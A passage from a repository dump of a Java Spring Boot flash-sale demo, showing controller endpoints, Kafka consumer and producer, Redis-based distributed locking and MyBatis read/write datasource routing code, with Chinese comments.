通过分布式锁的方式控制，控制库存不超卖\n\t * <p>Title: testSeckill</p>  \n\t * <p>Description: 秒杀下单</p>  \n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"去秒杀--先分布式锁模式\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/goSeckill\", method=RequestMethod.POST)\n\tpublic SeckillInfoResponse goSeckill(@RequestBody JSONObject jsonObject) {\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\t\t//活动Id\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法參數\");\n\t\tint purchaseNum = jsonObject.containsKey(\"purchaseNum\") ? jsonObject.getInteger(\"purchaseNum\") : 1;\t\t//购买数量\n\t\tAssertUtil.isTrue(purchaseNum != -1, \"非法參數\");\n\t\tString openId = jsonObject.containsKey(\"openId\") ? jsonObject.getString(\"openId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(openId), 1101, \"非法參數\");\n\t\tString formId = jsonObject.containsKey(\"formId\") ? jsonObject.getString(\"formId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(formId), 1101, \"非法參數\");\n\t\tlong addressId = jsonObject.containsKey(\"addressId\") ? jsonObject.getLong(\"addressId\") : -1;\n\t\tAssertUtil.isTrue(addressId != -1, \"非法參數\");\n\t\t//通过分享入口进来的参数\n\t\tString shareCode =  jsonObject.getString(\"shareCode\");\n        String shareSource =  jsonObject.getString(\"shareSource\");\n        String userCode =  jsonObject.getString(\"userId\");\n        \n        //这里拒绝多余的请求，比如库存100，那么超过500或者1000的请求都可以拒绝掉，利用redis的原子自增\n        long count = redisRepository.incr(\"BM_MARKET_SECKILL_COUNT_\" + stallActivityId);\n\t\tif( count > 1000 ) {\n\t\t\tSeckillInfoResponse response = new SeckillInfoResponse();\n\t\t\tresponse.setIsSuccess(false);\n\t\t\tresponse.setResponseCode(6405);\n\t\t\tresponse.setResponseMsg( \"活动太火爆，已经售罄啦！\");\n\t\t\treturn response;\n\t\t}\n\t\tlogger.info(\"第\" + count + \"个请求进入到了消息队列\");\n\t\t\n\t\treturn seckillService.startSeckill(stallActivityId, purchaseNum, openId, formId, addressId, shareCode, shareSource, userCode);\n\t}\n\t\n\t/**\n\t * 秒杀接口，先将请求放入队列模式\n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"去秒杀--先队列模式\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/goSeckillByQueue\", method=RequestMethod.POST)\n\tpublic BaseResponse goSeckillByQueue(@RequestBody JSONObject jsonObject) {\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\t\t//活动Id\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法參數\");\n\t\tint purchaseNum = jsonObject.containsKey(\"purchaseNum\") ? jsonObject.getInteger(\"purchaseNum\") : 1;\t\t//购买数量\n\t\tAssertUtil.isTrue(purchaseNum != -1, \"非法參數\");\n\t\tString openId = jsonObject.containsKey(\"openId\") ? jsonObject.getString(\"openId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(openId), 1101, \"非法參數\");\n\t\tString formId = jsonObject.containsKey(\"formId\") ? jsonObject.getString(\"formId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(formId), 1101, \"非法參數\");\n\t\tlong addressId = jsonObject.containsKey(\"addressId\") ? jsonObject.getLong(\"addressId\") : -1;\n\t\tAssertUtil.isTrue(addressId != -1, \"非法參數\");\n\t\t//通过分享入口进来的参数\n\t\tString shareCode =  jsonObject.getString(\"shareCode\");\n\t\tString shareSource =  jsonObject.getString(\"shareSource\");\n\t\tString userCode =  jsonObject.getString(\"userId\");\n\t\t\n\t\tJSONObject jsonStr = new JSONObject();\n\t\tjsonStr.put(\"stallActivityId\", stallActivityId);\n\t\tjsonStr.put(\"purchaseNum\", purchaseNum);\n\t\tjsonStr.put(\"openId\", openId);\n\t\tjsonStr.put(\"addressId\", addressId);\n\t\tjsonStr.put(\"formId\", formId);\n\t\tjsonStr.put(\"shareCode\", shareCode);\n\t\tjsonStr.put(\"shareSource\", shareSource);\n\t\tjsonStr.put(\"userCode\", userCode);\n\t\t//判断秒杀活动是否开始\n\t\tif( !seckillService.checkStartSeckill(stallActivityId) ) {\n\t\t\treturn new BaseResponse(false, 6205, \"秒杀活动尚未开始，请稍等！\");\n\t\t}\n\t\t//这里拒绝多余的请求，比如库存100，那么超过500或者1000的请求都可以拒绝掉，利用redis的原子自增操作\n\t\tlong count = redisRepository.incr(\"BM_MARKET_SECKILL_COUNT_\" + stallActivityId);\n\t\tif( count > 500 ) {\n\t\t\treturn new BaseResponse(false, 6405, \"活动太火爆，已经售罄啦！\");\n\t\t}\n\t\tlogger.info(\"第\" + count + \"个请求进入到了消息队列\");\n\t\t//做用户重复购买校验\n\t\tif( redisRepository.exists(\"BM_MARKET_SECKILL_LIMIT_\" + stallActivityId + \"_\" + openId) ) {\n\t\t\treturn new BaseResponse(false, 6105, \"您正在参与该活动，不能重复购买！\");\n\t\t}\n\t\t//放入kafka消息队列\n\t\tkafkaSender.sendChannelMess(\"demo_seckill_queue\", jsonStr.toString());\n\t\treturn new BaseResponse();\n\t}\n\t\n\t/**\n\t * 06.05-轮询请求当前用户是否秒杀下单成功\n\t * <p>Title: seckillPolling</p>  \n\t * <p>Description: </p>  \n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"轮询接口--先分布式锁模式\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/seckillPolling\", method=RequestMethod.POST)\n\tpublic SeckillInfoResponse seckillPolling(@RequestBody JSONObject jsonObject) {\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\t\t//活动Id\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法參數\");\n\t\tString openId = jsonObject.containsKey(\"openId\") ? jsonObject.getString(\"openId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(openId), 1101, \"非法參數\");\n\t\t\n\t\tSeckillInfoResponse response = new SeckillInfoResponse();\n\t\tif( redisRepository.exists(\"BM_MARKET_LOCK_POLLING_\" + stallActivityId + \"_\" + openId) ) {\n\t\t\t//如果缓存中存在锁定秒杀和用户ID的key，则证明该订单尚未处理完成，需要继续等待\n\t\t\tresponse.setIsSuccess(true);\n\t\t\tresponse.setResponseCode(6103);\n\t\t\tresponse.setResponseMsg(\"排队中，请稍后\");\n\t\t\tresponse.setRefreshTime(1000);\n\t\t} else {\n\t\t\t//如果缓存中该key已经不存在，则表明该订单已经下单成功，可以进入支付操作，并取出orderId返回\n\t\t\tString redisOrderInfo = redisRepository.get(\"BM_MARKET_SECKILL_ORDERID_\" + stallActivityId + \"_\" + openId);\n\t\t\tif( redisOrderInfo == null ) {\n\t\t\t\tresponse.setIsSuccess(false);\n\t\t\t\tresponse.setResponseCode(6106);\n\t\t\t\tresponse.setResponseMsg(\"秒杀失败，下单出现异常，请重试！\");\n\t\t\t\tresponse.setOrderCode(null);\n\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t}else {\n\t\t\t\tresponse.setIsSuccess(true);\n\t\t\t\tresponse.setResponseCode(6104);\n\t\t\t\tresponse.setResponseMsg(\"秒杀成功\");\n\t\t\t\tresponse.setOrderCode(redisOrderInfo);\n\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t}\n\t\t}\n\t\treturn response;\n\t}\n\t\n\t/**\n\t * 轮询请求  判断是否获得下单资格\n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"轮询接口--先队列模式\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/seckillPollingQueue\", method=RequestMethod.POST)\n\tpublic SeckillInfoResponse seckillPollingQueue(@RequestBody JSONObject jsonObject) {\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\t\t//活动Id\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法參數\");\n\t\tString openId = jsonObject.containsKey(\"openId\") ? jsonObject.getString(\"openId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(openId), 1101, \"非法參數\");\n\t\t\n\t\tSeckillInfoResponse response = new SeckillInfoResponse();\n\t\t//是否存在下单资格码的key\n\t\tif( redisRepository.exists(\"BM_MARKET_SECKILL_QUEUE_\"+stallActivityId+\"_\"+openId) ){\n\t\t\tString result = redisRepository.get(\"BM_MARKET_SECKILL_QUEUE_\"+stallActivityId+\"_\"+openId);\n\t\t\tresponse = JSONObject.parseObject(JSONObject.parseObject(result).getJSONObject(\"response\").toJSONString(), SeckillInfoResponse.class);\n\t\t} else {\n\t\t\tresponse.setIsSuccess(true);\n\t\t\tresponse.setResponseCode(0);\n\t\t\tresponse.setResponseMsg(\"活动太火爆，排队中...\");\n\t\t\tresponse.setRefreshTime(0);\n\t\t}\n\t\treturn response;\n\t}\n\t\n\t/**\n\t * 根据获取到的下单资格码创建订单\n\t * @param jsonObject\n\t * @return\n\t */\n\t@ApiOperation(value=\"先队列模式--下单接口\",nickname=\"Guoqing\")\n\t@RequestMapping(value=\"/createOrder\", method=RequestMethod.POST)\n\tpublic BaseResponse createOrder(@RequestBody JSONObject jsonObject) {\n\t\tint stallActivityId = jsonObject.containsKey(\"stallActivityId\") ? jsonObject.getInteger(\"stallActivityId\") : -1;\t\t//活动Id\n\t\tAssertUtil.isTrue(stallActivityId != -1, \"非法參數\");\n\t\tString openId = jsonObject.containsKey(\"openId\") ? jsonObject.getString(\"openId\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(openId), 1101, \"非法參數\");\n\t\tString orderQualificationCode = jsonObject.containsKey(\"orderQualificationCode\") ? jsonObject.getString(\"orderQualificationCode\") : null;\n\t\tAssertUtil.isTrue(!StringUtil.isEmpty(orderQualificationCode), 1101, \"非法參數\");\n\t\t\n\t\t//校验下单资格码\n\t\tString redisQualificationCode = redisRepository.get(\"BM_MARKET_SECKILL_QUALIFICATION_CODE_\" + stallActivityId + \"_\" + openId);\n\t\tif(StringUtils.isEmpty(redisQualificationCode) || !orderQualificationCode.equals(redisQualificationCode) ) {\n\t\t\treturn new BaseResponse(false, 6305, \"您的资格码已经过期！\");\n\t\t}else {\n\t\t\t//走后续的下单流程，并校验真实库存；该接口的流量已经是与真实库存几乎相匹配的流量值，按理不应该存在超高并发\n\t\t\treturn new BaseResponse();\n\t\t}\n\t}\n\t\n\t@ApiOperation(value=\"test\",nickname=\"Guoqing\")\n\t@GetMapping(value=\"/test\")\n\tpublic void test() throws InterruptedException {\n\t\tfinal int[] counter = {0};\n\n        for (int i= 0; i < 300; i++){\n        \n        \tnew Thread(new Runnable() {\n\n                @Override\n\n                public void run() {\n                \tboolean isGetLock = redissonDistributedLocker.tryLock(\"test0001\", 3L, 1L);\n                \tlogger.info(isGetLock + \"\");\n                \tif(isGetLock) {\n                \t\ttry {\n\t\t\t\t\t\t\tint a = counter[0];\n\t\t\t\t\t\t\tcounter[0] = a + 1;\n\t\t\t\t\t\t\tlogger.info(a + \"\");\n\t\t\t\t\t\t} finally {\n\t\t\t\t\t\t\tredissonDistributedLocker.unlock(\"test0001\");\n\t\t\t\t\t\t}\n                \t}\n                }\n            }).start();\n        \t\n        }\n\n        // 主线程休眠，等待结果\n        Thread.sleep(10000);\n        logger.info(counter[0] + \"\");\n\t}\n\t\n\t@ApiOperation(value=\"test1\",nickname=\"Guoqing\")\n\t@GetMapping(value=\"/test1\")\n\tpublic void test1() throws InterruptedException {\n\t\tfinal int[] counter = {0};\n\n        for (int i= 0; i < 100; i++){\n        \n        \tnew Thread(new Runnable() {\n\n                @Override\n\n                public void run() {\n            \t\ttry {\n            \t\t\tredissonDistributedLocker.lock(\"test0002\", 1L);\n            \t\t\tlogger.info(redissonDistributedLocker.isLocked(\"test0002\") + \"\");\n\t\t\t\t\t\tint a = counter[0];\n\t\t\t\t\t\tcounter[0] = a + 1;\n\t\t\t\t\t\tlogger.info(a + \"\");\n\t\t\t\t\t} finally {\n\t\t\t\t\t\tredissonDistributedLocker.unlock(\"test0002\");\n\t\t\t\t\t}\n                }\n            }).start();\n        \t\n        }\n\n        // 主线程休眠，等待结果\n        Thread.sleep(10000);\n        logger.info(counter[0] + \"\");\n\t}\n\t\n\t@ApiOperation(value=\"test2\",nickname=\"Guoqing\")\n\t@GetMapping(value=\"/test2\")\n\tpublic void test2() throws InterruptedException {\n\t\tlogger.info(SystemUtil.getJavaRuntimeInfo().toString());\n\t\tlogger.info(SystemUtil.getJavaInfo().toString());\n\t\tlogger.info(SystemUtil.getJvmInfo().toString());\n\t\tlogger.info(SystemUtil.getJavaSpecInfo().toString());\n\t\tlogger.info(SystemUtil.getRuntimeInfo().toString());\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/kafka/KafkaConsumer.java",
    "content": "package com.jun.plugin.seckill.kafka;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.kafka.annotation.KafkaListener;\nimport org.springframework.stereotype.Component;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.jun.plugin.seckill.common.response.SeckillInfoResponse;\nimport com.jun.plugin.seckill.redis.lock.RedissonDistributedLocker;\nimport com.jun.plugin.seckill.redis.repository.RedisRepository;\nimport com.jun.plugin.seckill.utils.SerialNo;\n\n/**\n * 消费者 spring-kafka 2.0 + 依赖JDK8\n * @author Wujun\n */\n@Component\npublic class KafkaConsumer {\n\t\n\tprivate Logger logger = LoggerFactory.getLogger(KafkaConsumer.class);\n\t@Autowired\n\tprivate RedisRepository redisRepository;\n\t@Autowired\n\tprivate RedissonDistributedLocker redissonDistributedLocker;\n\t\n    /**\n     * 监听seckill主题,有消息就读取\n     * 主要消费秒杀进入到下订单操作的队列数据，此处的数据已经过滤了绝大部分请求，只有真正得到下单机会的用户才会进入到这一环节\n     * @param message\n     */\n    @KafkaListener(topics = {\"demo_seckill\"})\n    public void receiveMessage(String message){\n    \ttry {\n\t\t\t//收到通道的消息之后执行秒杀操作\n\t\t\tlogger.info(message);\n\t\t\tJSONObject json = JSONObject.parseObject(message);\n\t\t\tlong stallActivityId = json.getLong(\"stallActivityId\");\n\t\t\tint purchaseNum = json.getInteger(\"purchaseNum\");\n\t\t\tString openId = json.getString(\"openId\");\n//\t\t\tlong addressId = json.getLong(\"addressId\");\n//\t\t\tString formId = json.getString(\"formId\");\n//\t\t\tString shareCode = json.getString(\"shareCode\");\n//\t\t\tString shareSource = json.getString(\"shareSource\");\n//\t\t\tString userCode = json.getString(\"userCode\");\n\t\t\t//生成订单，模拟生成订单编码\n\t\t\tString orderCode = \"J\"+SerialNo.getUNID();\n\t\t\t//删除redis中的key，让轮询接口发现，该订单已经处理完成\n\t\t\tredisRepository.del(\"BM_MARKET_LOCK_POLLING_\" + stallActivityId + \"_\" + openId);\n\t\t\t//并将orderId_orderCode放入缓存，有效时间10分钟（因为支付有效时间为10分钟）\n\t\t\tredisRepository.setExpire(\"BM_MARKET_SECKILL_ORDERID_\" + stallActivityId + \"_\" + openId, orderCode, 600);\n\t\t\tString lockKey = \"marketOrder\"+stallActivityId;\t//控制锁的颗粒度(摊位活动ID)\n\t\t\tboolean isGetLock = redissonDistributedLocker.tryLock(lockKey, 1L, 1L);\t//最多等待1S，每次操作预计的超时时间1S\n        \tif(isGetLock) {\n        \t\ttry {\n\t\t\t\t\t//扣减真实库存\n\t\t\t\t\tredisRepository.decrBy(\"BM_MARKET_SECKILL_REAL_STOCKNUM_\" + stallActivityId, purchaseNum);\n\t\t\t\t}finally{\n\t\t\t\t\tredissonDistributedLocker.unlock(lockKey);\n\t\t\t\t}\n        \t}\n\t\t} catch (NumberFormatException e) {\n\t\t\te.printStackTrace();\n\t\t}\n    }\n    \n    /**\n     * 与上述方法不同，该方法还包含库存校验等逻辑操作\n     */\n    @KafkaListener(topics = {\"demo_seckill_queue\"})\n    public void receiveMessage2(String message) {\n    \tJSONObject json = JSONObject.parseObject(message);\n\t\tlong stallActivityId = json.getLong(\"stallActivityId\");\n\t\tint purchaseNum = json.getInteger(\"purchaseNum\");\n\t\tString openId = json.getString(\"openId\");\n//\t\tlong addressId = json.getLong(\"addressId\");\n//\t\tString formId = json.getString(\"formId\");\n//\t\tString shareCode = json.getString(\"shareCode\");\n//\t\tString shareSource = json.getString(\"shareSource\");\n//\t\tString userCode = json.getString(\"userCode\");\n\t\tString lockKey = \"marketOrder\"+stallActivityId;//控制锁的颗粒度(摊位活动ID)\n\t\tredissonDistributedLocker.lock(lockKey, 1L);\n\t\ttry{\n\t\t\tJSONObject result = new JSONObject();\n\t\t\tSeckillInfoResponse response = new SeckillInfoResponse();\n\t\t\tString redisStock = redisRepository.get(\"BM_MARKET_SECKILL_STOCKNUM_\" + stallActivityId);\n\t\t\tint surplusStock = Integer.parseInt(redisStock == null ? \"0\" : redisStock);\t//剩余库存\n\t\t\t//如果剩余库存大于购买数量，则获得下单资格，并生成唯一下单资格码\n\t\t\tif( surplusStock >= purchaseNum ) {\n\t\t\t\tresponse.setIsSuccess(true);\n\t\t\t\tresponse.setResponseCode(0);\n\t\t\t\tresponse.setResponseMsg(\"您已获得下单资格，请尽快下单\");\n\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t\tString code = SerialNo.getUNID();\n\t\t\t\tresponse.setOrderQualificationCode(code);\n\t\t\t\t//将下单资格码维护到redis中，用于下单时候的检验；有效时间10分钟；\n\t\t\t\tredisRepository.setExpire(\"BM_MARKET_SECKILL_QUALIFICATION_CODE_\" + stallActivityId + \"_\" + openId, code, 10*60);\n\t\t\t\t//维护一个key，防止获得下单资格用户重新抢购，当支付过期之后应该维护删除该标志\n\t\t\t\tredisRepository.setExpire(\"BM_MARKET_SECKILL_LIMIT_\" + stallActivityId + \"_\" + openId, \"true\", 3600*24*7);\n\t\t\t\t//扣减锁定库存\n\t\t\t\tredisRepository.decrBy(\"BM_MARKET_SECKILL_STOCKNUM_\" + stallActivityId, purchaseNum);\n\t\t\t}else {\n\t\t\t\tresponse.setIsSuccess(false);\n\t\t\t\tresponse.setResponseCode(6102);\n\t\t\t\tresponse.setResponseMsg(\"秒杀失败，商品已经售罄\");\n\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t}\n\t\t\tresult.put(\"response\", response);\n\t\t\t//将信息维护到redis中\n\t\t\tredisRepository.setExpire(\"BM_MARKET_SECKILL_QUEUE_\"+stallActivityId+\"_\"+openId, result.toJSONString(), 3600*24*7);\n\t\t}finally{\n\t\t\tredissonDistributedLocker.unlock(lockKey);\n\t\t}\n    }\n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/kafka/KafkaSender.java",
    "content": "package com.jun.plugin.seckill.kafka;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.kafka.core.KafkaTemplate;\nimport org.springframework.stereotype.Component;\n/**\n * 生产者\n * @author Wujun\n * @date 2018/11/16 15:09\n */\n@Component\npublic class KafkaSender {\n\t\n    @Autowired\n    private KafkaTemplate<String,String> kafkaTemplate;\n\n    /**\n     * 发送消息到kafka\n     */\n    public void sendChannelMess(String channel, String message){\n        kafkaTemplate.send(channel,message);\n    }\n    \n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/mybatis/datasource/DynamicDataSource.java",
    "content": "package com.jun.plugin.seckill.mybatis.datasource;\n\nimport org.springframework.jdbc.datasource.lookup.AbstractRoutingDataSource;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * 动态数据源实现读写分离\n *\n * @author Wujun\n */\npublic class DynamicDataSource extends AbstractRoutingDataSource {\n\n    /**\n     * 写数据源\n     */\n    private Object writeDataSource;\n    /**\n     * 读数据源\n     */\n    private Object readDataSource;\n\n    @Override\n    public void afterPropertiesSet() {\n        if (this.writeDataSource == null) {\n            throw new IllegalArgumentException(\"Property 'writeDataSource' is required\");\n        }\n        setDefaultTargetDataSource(writeDataSource);\n        Map<Object, Object> targetDataSources = new HashMap<>();\n        targetDataSources.put(DynamicDataSourceGlobal.WRITE.name(), writeDataSource);\n        if (readDataSource != null) {\n            targetDataSources.put(DynamicDataSourceGlobal.READ.name(), readDataSource);\n        }\n        setTargetDataSources(targetDataSources);\n        super.afterPropertiesSet();\n    }\n\n    @Override\n    protected Object determineCurrentLookupKey() {\n\n        DynamicDataSourceGlobal dynamicDataSourceGlobal = DynamicDataSourceHolder.getDataSource();\n\n        if (dynamicDataSourceGlobal == null\n            || dynamicDataSourceGlobal == DynamicDataSourceGlobal.WRITE) {\n            return DynamicDataSourceGlobal.WRITE.name();\n        }\n\n        return DynamicDataSourceGlobal.READ.name();\n    }\n\n    public void setWriteDataSource(Object writeDataSource) {\n        this.writeDataSource = writeDataSource;\n    }\n\n    public Object getWriteDataSource() {\n        return writeDataSource;\n    }\n\n    public Object getReadDataSource() {\n        return readDataSource;\n    }\n\n    public void setReadDataSource(Object readDataSource) {\n        this.readDataSource = readDataSource;\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/mybatis/datasource/DynamicDataSourceGlobal.java",
    "content": "package com.jun.plugin.seckill.mybatis.datasource;\n\npublic enum DynamicDataSourceGlobal {\n    /**\n     * 读数据源\n     */\n    READ,\n    /**\n     * 写数据源\n     */\n    WRITE\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/mybatis/datasource/DynamicDataSourceHolder.java",
    "content": "package com.jun.plugin.seckill.mybatis.datasource;\n\n/**\n * 动态数据源持有者\n *\n * @author Wujun\n */\npublic final class DynamicDataSourceHolder {\n\n    /**\n     * 动态数据源存储\n     */\n    private static final ThreadLocal<DynamicDataSourceGlobal> DYNAMIC_DATA_SOURCE_GLOBAL_THREAD_LOCAL = new ThreadLocal<>();\n\n    private DynamicDataSourceHolder() {\n        //\n    }\n\n    /**\n     * 存放数据源\n     *\n     * @param dataSource 数据源\n     */\n    public static void putDataSource(DynamicDataSourceGlobal dataSource) {\n        DYNAMIC_DATA_SOURCE_GLOBAL_THREAD_LOCAL.set(dataSource);\n    }\n\n    /**\n     * 获取数据源\n     *\n     * @return the data source\n     */\n    public static DynamicDataSourceGlobal getDataSource() {\n        return DYNAMIC_DATA_SOURCE_GLOBAL_THREAD_LOCAL.get();\n    }\n\n    /**\n     * 清除数据源\n     */\n    public static void clearDataSource() {\n        DYNAMIC_DATA_SOURCE_GLOBAL_THREAD_LOCAL.remove();\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/mybatis/datasource/DynamicDataSourceTransactionManager.java",
    "content": "package com.jun.plugin.seckill.mybatis.datasource;\n\nimport org.springframework.jdbc.datasource.DataSourceTransactionManager;\nimport org.springframework.transaction.TransactionDefinition;\n\nimport javax.sql.DataSource;\n\n/**\n * 动态数据源事务管理器\n *\n * @author Wujun\n */\npublic class DynamicDataSourceTransactionManager extends DataSourceTransactionManager {\n\n    public DynamicDataSourceTransactionManager(DataSource dataSource) {\n        super(dataSource);\n    }\n\n    @Override\n    protected void doBegin(Object transaction, TransactionDefinition definition) {\n\n        //设置数据源\n        boolean readOnly = definition.isReadOnly();\n        //只读事务到读库，读写事务到写库\n        if (readOnly) {\n            DynamicDataSourceHolder.putDataSource(DynamicDataSourceGlobal.READ);\n        } else {\n            DynamicDataSourceHolder.putDataSource(DynamicDataSourceGlobal.WRITE);\n        }\n        super.doBegin(transaction, definition);\n    }\n\n    @Override\n    protected void doCleanupAfterCompletion(Object transaction) {\n        super.doCleanupAfterCompletion(transaction);\n        //清理本地线程的数据源\n        DynamicDataSourceHolder.clearDataSource();\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/mybatis/datasource/DynamicPlugin.java",
    "content": "package com.jun.plugin.seckill.mybatis.datasource;\n\nimport org.apache.ibatis.executor.Executor;\nimport org.apache.ibatis.executor.keygen.SelectKeyGenerator;\nimport org.apache.ibatis.mapping.BoundSql;\nimport org.apache.ibatis.mapping.MappedStatement;\nimport org.apache.ibatis.mapping.SqlCommandType;\nimport org.apache.ibatis.plugin.Interceptor;\nimport org.apache.ibatis.plugin.Intercepts;\nimport org.apache.ibatis.plugin.Invocation;\nimport org.apache.ibatis.plugin.Plugin;\nimport org.apache.ibatis.plugin.Signature;\nimport org.apache.ibatis.session.ResultHandler;\nimport org.apache.ibatis.session.RowBounds;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.transaction.support.TransactionSynchronizationManager;\n\nimport java.util.Locale;\nimport java.util.Map;\nimport java.util.Properties;\nimport java.util.concurrent.ConcurrentHashMap;\n\n/**\n * 动态数据源Mybatis拦截器插件\n *\n * @author Wujun\n */\n@Intercepts({\n    @Signature(type = Executor.class, method = \"update\", args = {\n        MappedStatement.class, Object.class}),\n    @Signature(type = Executor.class, method = \"query\", args = {\n        MappedStatement.class, Object.class, RowBounds.class,\n        ResultHandler.class})})\npublic class DynamicPlugin implements Interceptor {\n\n    /**\n     * Logger\n     */\n    protected static final Logger LOGGER = LoggerFactory.getLogger(DynamicPlugin.class);\n\n    /**\n     * 拦截SQL表达式\n     */\n    private static final String REGEX = \".*insert\\\\u0020.*|.*delete\\\\u0020.*|.*update\\\\u0020.*\";\n\n    /**\n     * 动态数据源缓存\n     */\n    private static final Map<String, DynamicDataSourceGlobal> CACHE_MAP = new ConcurrentHashMap<>();\n\n    @Override\n    public Object intercept(Invocation invocation) throws Throwable {\n\n        boolean synchronizationActive = TransactionSynchronizationManager.isSynchronizationActive();\n        //如果没有事务\n        if (!synchronizationActive) {\n            Object[] objects = invocation.getArgs();\n            MappedStatement ms = (MappedStatement) objects[0];\n\n            DynamicDataSourceGlobal dynamicDataSourceGlobal;\n\n            if ((dynamicDataSourceGlobal = CACHE_MAP.get(ms.getId())) == null) {\n                dynamicDataSourceGlobal = getDynamicDataSource(ms, objects[1]);\n                LOGGER.warn(\"设置方法[{}] use [{}] Strategy, SqlCommandType [{}]..\", ms.getId(), dynamicDataSourceGlobal.name(), ms.getSqlCommandType().name());\n                CACHE_MAP.put(ms.getId(), dynamicDataSourceGlobal);\n            }\n            DynamicDataSourceHolder.putDataSource(dynamicDataSourceGlobal);\n        }\n\n        return invocation.proceed();\n    }\n\n    /**\n     * 获得动态数据源\n     *\n     * @param ms              MappedStatement\n     * @param parameterObject Parameter\n     * @return DynamicDataSourceGlobal\n     */\n    private DynamicDataSourceGlobal getDynamicDataSource(MappedStatement ms, Object parameterObject) {\n        DynamicDataSourceGlobal dynamicDataSourceGlobal;\n        //读方法\n        if (ms.getSqlCommandType().equals(SqlCommandType.SELECT)) {\n            //!selectKey 为自增id查询主键(SELECT LAST_INSERT_ID() )方法，使用主库\n            if (ms.getId().contains(SelectKeyGenerator.SELECT_KEY_SUFFIX)) {\n                dynamicDataSourceGlobal = DynamicDataSourceGlobal.WRITE;\n            } else {\n                BoundSql boundSql = ms.getSqlSource().getBoundSql(parameterObject);\n                String sql = boundSql.getSql().toLowerCase(Locale.CHINA).replaceAll(\"[\\\\t\\\\n\\\\r]\", \" \");\n                if (sql.matches(REGEX)) {\n                    dynamicDataSourceGlobal = DynamicDataSourceGlobal.WRITE;\n                } else {\n                    dynamicDataSourceGlobal = DynamicDataSourceGlobal.READ;\n                }\n            }\n        } else {\n            dynamicDataSourceGlobal = DynamicDataSourceGlobal.WRITE;\n        }\n        return dynamicDataSourceGlobal;\n    }\n\n    @Override\n    public Object plugin(Object target) {\n        if (target instanceof Executor) {\n            return Plugin.wrap(target, this);\n        } else {\n            return target;\n        }\n    }\n\n    @Override\n    public void setProperties(Properties properties) {\n        //\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/redis/lock/DistributedExclusiveRedisLock.java",
    "content": "package com.jun.plugin.seckill.redis.lock;\n\nimport org.springframework.dao.DataAccessException;\nimport org.springframework.data.redis.connection.RedisConnection;\nimport org.springframework.data.redis.core.RedisCallback;\nimport org.springframework.data.redis.core.RedisTemplate;\n\nimport com.jun.plugin.seckill.common.exception.IllegalReentrantException;\n\nimport redis.clients.jedis.Jedis;\n\nimport java.io.Serializable;\nimport java.util.Collections;\nimport java.util.UUID;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.locks.Condition;\nimport java.util.concurrent.locks.Lock;\n\n/**\n * 不可重入分布式锁,基于redis实现\n * <p>\n * Created by Guoqing on 18/11/22.\n * 变更了加锁与释放锁的过程，通过jedis的操作实现，防止出现死锁等问题\n */\npublic class DistributedExclusiveRedisLock implements Lock, Serializable {\n    private static final long serialVersionUID = -7118885188373628439L;\n\n\tprivate RedisTemplate redisTemplate;\n\t\n\tprivate Jedis jedis;\n\n    /**\n     * 控制锁颗粒度的参数\n     * <p>\n     * 不建议使用全局锁,具体应用中推荐指定对应的Key,把锁的颗粒度减小,利于性能\n     */\n    private String lockKey = \"distributed_global_lock\";\n    \n    private static final String LOCK_SUCCESS = \"OK\";\n    private static final String SET_IF_NOT_EXIST = \"NX\";\n    private static final String SET_WITH_EXPIRE_TIME = \"EX\";\n    private static final Long RELEASE_SUCCESS = 1L;\n\n    private String uuid;\n\n    private boolean isOccupy;\n\n    // 单位 